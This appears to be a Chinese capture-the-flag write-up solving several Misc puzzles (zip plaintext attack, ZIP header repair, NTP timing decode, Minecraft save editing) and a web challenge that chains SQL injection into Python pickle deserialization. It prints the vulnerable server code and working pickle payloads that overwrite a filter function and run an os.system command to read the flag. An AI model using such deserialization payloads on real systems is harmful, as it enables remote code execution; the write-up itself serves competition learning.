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淦，以为写完，实际上并没有

Misc

Solver的开拓之路

解压，/assets/MiHoYoSDKRes/HttpServerResources/audio存在s3cret.zip和一个mp3，明文攻击，兽音译者

！汪喵喵喵喵汪汪呜汪！汪喵汪汪呜呜呜喵呜喵呜汪！！！呜！喵！汪喵呜喵呜喵喵喵汪汪！汪！汪喵汪汪呜呜！汪呜喵呜汪喵汪汪呜！喵！汪喵！！！喵喵喵汪呜汪呜喵汪喵汪汪！汪喵汪呜喵呜汪喵汪汪汪！喵！汪汪喵呜！喵喵喵汪汪汪汪呜汪喵汪汪呜！汪呜呜喵呜汪！汪！喵！喵！汪汪汪喵呜喵喵喵汪汪！喵呜汪喵汪汪！汪呜汪呜喵呜汪喵喵喵喵！喵！汪汪喵喵喵喵喵喵汪呜喵！！汪喵汪汪！喵喵！呜喵呜汪喵汪汪喵！喵！汪喵！！呜喵喵喵汪汪呜！喵汪喵汪汪！喵汪汪呜喵呜汪喵汪！！！喵！汪汪喵汪喵喵喵喵汪呜汪汪汪汪喵汪汪！喵！喵呜喵呜汪喵汪！呜！喵！汪汪汪喵！喵喵喵汪呜喵！喵汪喵汪汪！喵汪汪呜喵呜汪喵喵喵呜！喵！汪喵喵喵喵喵喵喵汪汪喵汪喵汪喵汪汪呜喵呜喵呜喵呜汪！喵！喵！喵！汪汪汪！喵呜

Ez_mc

NBTExplorer修改存档权限，allowCommands=1，give获得假flag和密码

已将1个[DASCTF{fake_flag}，你被骗了！！！，但奖励你一个PASS=HDCTFWIN!]

解压压缩包得到.svp文件，使用特定软件打开，高为1，低位0，解MorseCode

套娃是你的谎言

部分流量前部存在一些base字符串，解一下可以得到pass和fake_flag

其次还可以分离得到一个压缩包，需要修一下文件，官方WP的描述是改为AES加密，想不到，根本想不到，这么修还是第一次见

先修头部，可以看到文件名的长度ushort frFileNameLength为23字节，扩展数据ushort frExtraFieldLength长度为11字节，从.txt以后的11字节内容应当为扩展数据，但此处已经进入数据区，缺了11个字节，我们正常压缩一个AES加密的压缩包看看

其11字节内容为01 99 07 00 02 00 41 45 03 08 00，同时8~9字节内容记录了压缩方式为63 00，据此修改错误的压缩包头部

同理中央目录记录区也存在相同的问题，缺少11字节的扩展数据，压缩方式的标记为也存在问题，修改后即可正常解压

然后是压缩包密码，为ntp协议的时间差*10转ascii，比赛时确实觉得ntp流量有些可疑了，正常情况下应该不会有这么多的ntp流量，但是没看出要乘10

data = [8.972008, 20.172647, 20.259451, 29.960382, 30.092938, 41.593605, 41.673149, 53.173706, 53.254845, 59.355902, 59.481600, 71.382342, 71.564876, 81.665601, 81.739929, 92.540906, 92.609521, 102.511004, 102.654159, 113.754793, 113.856658, 124.757317, 124.862347, 134.962710, 135.053263, 146.653963, 146.738695, 157.839347, 157.990778, 168.391236, 168.539019, 178.539767, 178.647972, 188.548326,188.710813, 200.311356, 200.487545, 210.688332, 210.829233]
data = [round((data[i + 1] - data[i]) * 10) for i in range(0, len(data) - 1, 2)]
print(bytes(data).decode())

# pass=welcometohdctf
# 整个都是密码

解压得到google在线表格地址

你能发现其中的秘密吗（三选一）
https://docs.google.com/spreadsheets/d/1pV81jX6C6tEekw0MtSYl05vQzVujULuzQPJdhtZpjHk/edit?usp=sharing
https://docs.google.com/spreadsheets/d/1-cPoMOnVj7cyMnIyMY7K3HSd_tliGWm67jrA9M7_PV8/edit?usp=sharing
https://docs.google.com/spreadsheets/d/1qCdP2PNu6KlTSxrD5Mvf6y7pie_mRSs3YEKySPTVTb4/edit?usp=sharing

应该是隔了很久才复现，在线文档有点儿问题了，可以看到表18 36 47中的base64

REFTQ1RGe1RoM19OM3N0aW5nX2RvSUlfaXNfeW91cl8xaWUhISEhfQ==

谐乐大典

文件名0宽

手动提取封面，oursecret解密

ps临近法取点

Maxicode解码

Web

OtenkiImp

信息搜集，aiohttp这个版本存在走私https://github.com/aio-libs/aiohttp/security/advisories/GHSA-45c4-8wx5-qw6w

Python/3.9 aiohttp/3.8.4

/hint

from aiohttp import web
import time
import json
import base64
import pickle
import time
import aiomysql
from settings import config, messages


async def mysql_init(app):
    mysql_conf = app['config']['mysql']
    while True:
        try:
            mysql_pool = await aiomysql.create_pool(host=mysql_conf['host'],
                                                    port=mysql_conf['port'],
                                                    user=mysql_conf['user'],
                                                    password=mysql_conf['password'],
                                                    db=mysql_conf['db'])
            break
        except:
            time.sleep(5)
    app.on_shutdown.append(mysql_close)
    app['mysql_pool'] = mysql_pool
    return app


async def mysql_close(app):
    app['mysql_pool'].close()
    await app['mysql_pool'].wait_closed()


async def index(request):
    with open("./static/index.html", "r", encoding="utf-8") as f:
        html = f.read()
    return web.Response(text=html, content_type="text/html")


async def waf(request):
    return web.Response(text=messages[0], status=403)


def check(string):
    black_list = [b'R', b'i', b'o', b'b', b'V', b'__setstate__']
    white_list = [b'__main__', b'builtins', b'contact', b'time', b'dict', b'reason']
    try:
        s = base64.b64decode(string)
    except:
        return False
    for i in white_list:
        s = s.replace(i, b'')
    for i in black_list:
        if i in s:
            return False
    return True


async def getWishes(request):
    wishes = []
    id = request.query.get("id")
    try:
        pool = request.app['mysql_pool']
        async with pool.acquire() as conn:
            async with conn.cursor() as cur:
                try:
                    id = str(int(id))
                    sql = 'select id,wish from wishes where id={id}'.format(
                        id=id)
                except:
                    sql = 'select id,wish from wishes'
                await cur.execute(sql)
                datas = await cur.fetchall()
    except:
        return web.Response(text=messages[1])
    for (id, wish) in datas:
        if check(wish):
            wishes.append(pickle.loads(base64.b64decode(wish)))
    return web.Response(text=json.dumps(wishes), content_type="application/json")


async def addWishes(request):
    data = {}
    if request.query.get("contact") and request.query.get("place") and request.query.get("reason") and request.query.get("date") and request.query.get("id"):
        data["contact"] = request.query.get("contact")
        data["place"] = request.query.get("place")
        data["reason"] = request.query.get("reason")
        data["date"] = request.query.get("date")
        data["timestamp"] = int(time.time()*1000)
        id = request.query.get("id")
        wish = base64.b64encode(pickle.dumps(data))
    else:
        return web.Response(text=messages[3])
    try:
        pool = request.app['mysql_pool']
        async with pool.acquire() as conn:
            async with conn.cursor() as cur:
                sql = 'insert into wishes(`id`, `wish`) values ({id}, "{wish}")'.format(
                    id=id, wish=wish.decode())
                await cur.execute(sql)
                return web.Response(text=messages[2])
    except:
        return web.Response(text=messages[1])


async def rmWishes(request):
    try:
        pool = request.app['mysql_pool']
        async with pool.acquire() as conn:
            async with conn.cursor() as cur:
                sql = 'delete from wishes'
                await cur.execute(sql)
                return web.Response(text=messages[2])
    except:
        return web.Response(text=messages[1])


async def hint(request):
    with open(__file__, 'r') as f:
        source = f.read()
    return web.Response(text=source)

if __name__ == '__main__':
    app = web.Application()
    app['config'] = config
    app.router.add_static('/static', path='./static')
    app.add_routes([web.route('*', '/', index),
                    web.route('*', '/waf', waf),
                    web.route('*', '/addWishes', addWishes),
                    web.get('/getWishes', getWishes),
                    web.post('/rmWishes', rmWishes),
                    web.get('/hint', hint)])
    app = mysql_init(app)
    web.run_app(app, port=5000)

很明显，要通过sql注入写入恶意数据然后打pickle反序列化

async def getWishes(request):
    wishes = []
    id = request.query.get("id")
    try:
        pool = request.app['mysql_pool']
        async with pool.acquire() as conn:
            async with conn.cursor() as cur:
                try:
                    id = str(int(id))
                    sql = 'select id,wish from wishes where id={id}'.format(
                        id=id)
                except:
                    sql = 'select id,wish from wishes'
                await cur.execute(sql)
                datas = await cur.fetchall()
    except:
        return web.Response(text=messages[1])
    for (id, wish) in datas:
        if check(wish):
            wishes.append(pickle.loads(base64.b64decode(wish)))
    return web.Response(text=json.dumps(wishes), content_type="application/json")
...
async def addWishes(request):
    data = {}
    if request.query.get("contact") and request.query.get("place") and request.query.get("reason") and request.query.get("date") and request.query.get("id"):
        data["contact"] = request.query.get("contact")
        data["place"] = request.query.get("place")
        data["reason"] = request.query.get("reason")
        data["date"] = request.query.get("date")
        data["timestamp"] = int(time.time()*1000)
        id = request.query.get("id")
        wish = base64.b64encode(pickle.dumps(data))
    else:
        return web.Response(text=messages[3])
    try:
        pool = request.app['mysql_pool']
        async with pool.acquire() as conn:
            async with conn.cursor() as cur:
                sql = 'insert into wishes(`id`, `wish`) values ({id}, "{wish}")'.format(
                    id=id, wish=wish.decode())
                await cur.execute(sql)
                return web.Response(text=messages[2])
    except:
        return web.Response(text=messages[1])
...

直接命令执行行不通，check很死，那么先覆盖check函数，数据无所谓，报错不影响

b"c__main__\n__dict__\n(S'check'\ncbuiltins\nany\nu0\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x07contact\x94\x8c\x011\x94\x8c\x05place\x94\x8c\x012\x94\x8c\x06reason\x94\x8c\x013\x94\x8c\x04date\x94\x8c\x014\x94\x8c\ttimestamp\x94\x8a\x06f`\x90\xfe\x8e\x01u."

    0: c    GLOBAL     '__main__ __dict__'
   19: (    MARK
   20: S        STRING     'check'
   29: c        GLOBAL     'builtins any'
   43: u        SETITEMS   (MARK at 19)
   44: 0    POP
   45: \x80 PROTO      4
   47: \x95 FRAME      75
   56: }    EMPTY_DICT
   57: \x94 MEMOIZE    (as 0)
   58: (    MARK
   59: \x8c     SHORT_BINUNICODE 'contact'
   68: \x94     MEMOIZE    (as 1)
   69: \x8c     SHORT_BINUNICODE '1'
   72: \x94     MEMOIZE    (as 2)
   73: \x8c     SHORT_BINUNICODE 'place'
   80: \x94     MEMOIZE    (as 3)
   81: \x8c     SHORT_BINUNICODE '2'
   84: \x94     MEMOIZE    (as 4)
   85: \x8c     SHORT_BINUNICODE 'reason'
   93: \x94     MEMOIZE    (as 5)
   94: \x8c     SHORT_BINUNICODE '3'
   97: \x94     MEMOIZE    (as 6)
   98: \x8c     SHORT_BINUNICODE 'date'
  104: \x94     MEMOIZE    (as 7)
  105: \x8c     SHORT_BINUNICODE '4'
  108: \x94     MEMOIZE    (as 8)
  109: \x8c     SHORT_BINUNICODE 'timestamp'
  120: \x94     MEMOIZE    (as 9)
  121: \x8a     LONG1      1713667858534
  129: u        SETITEMS   (MARK at 58)
  130: .    STOP
highest protocol among opcodes = 4

命令执行

b'(\x8c\x1acat /flag > ./static/1.txtios\nsystem\n0\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x07contact\x94\x8c\x011\x94\x8c\x05place\x94\x8c\x012\x94\x8c\x06reason\x94\x8c\x013\x94\x8c\x04date\x94\x8c\x014\x94\x8c\ttimestamp\x94\x8a\x06f`\x90\xfe\x8e\x01u.'

   0: (    MARK
    1: \x8c     SHORT_BINUNICODE 'cat /flag > ./static/1.txt'
   29: i        INST       'os system' (MARK at 0)
   40: 0    POP
   41: \x80 PROTO      4
   43: \x95 FRAME      75
   52: }    EMPTY_DICT
   53: \x94 MEMOIZE    (as 0)
   54: (    MARK
   55: \x8c     SHORT_BINUNICODE 'contact'
   64: \x94     MEMOIZE    (as 1)
   65: \x8c     SHORT_BINUNICODE '1'
   68: \x94     MEMOIZE    (as 2)
   69: \x8c     SHORT_BINUNICODE 'place'
   76: \x94     MEMOIZE    (as 3)
   77: \x8c     SHORT_BINUNICODE '2'
   80: \x94     MEMOIZE    (as 4)
   81: \x8c     SHORT_BINUNICODE 'reason'
   89: \x94     MEMOIZE    (as 5)
   90: \x8c     SHORT_BINUNICODE '3'
   93: \x94     MEMOIZE    (as 6)
   94: \x8c     SHORT_BINUNICODE 'date'
  100: \x94     MEMOIZE    (as 7)
  101: \x8c     SHORT_BINUNICODE '4'
  104: \x94     MEMOIZE    (as 8)
  105: \x8c     SHORT_BINUNICODE 'timestamp'
  116: \x94     MEMOIZE    (as 9)
  117: \x8a     LONG1      1713667858534
  125: u        SETITEMS   (MARK at 54)
  126: .    STOP
highest protocol among opcodes = 4

Misc

Solver的开拓之路

Ez_mc

套娃是你的谎言

谐乐大典

Web

OtenkiImp

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